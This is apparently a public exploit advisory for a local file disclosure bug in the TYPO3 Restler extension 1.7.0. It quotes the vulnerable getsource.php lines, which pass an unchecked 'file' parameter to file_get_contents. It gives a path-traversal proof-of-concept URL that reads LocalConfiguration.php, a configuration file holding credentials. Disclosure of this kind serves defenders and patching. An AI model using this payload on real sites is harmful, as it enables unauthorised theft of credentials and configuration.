TYPO3 Extension Restler 1.7.0 – Local File Disclosure

# Exploit Title: Typo3 Restler Extension - Local File Disclosure # Date: 2017-10-13 # Exploit Author: CrashBandicot @dosperl # Vendor Homepage: https://www.aoe.com/ # Software Link: https://extensions.typo3.org/extension/restler/ # Tested on : MsWin # Version: 1.7.0 (last) # Vulnerability File : getsource.php 3. $file = $_GET['file']; 13. $text = file_get_contents($file); 16. die($file . ' "); # PoC : # http://vuln.site/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php # https://i.imgur.com/zObmaDD.png # Timeline : # Vulnerability identified # Vendor notified # CVE number requested # Exploit released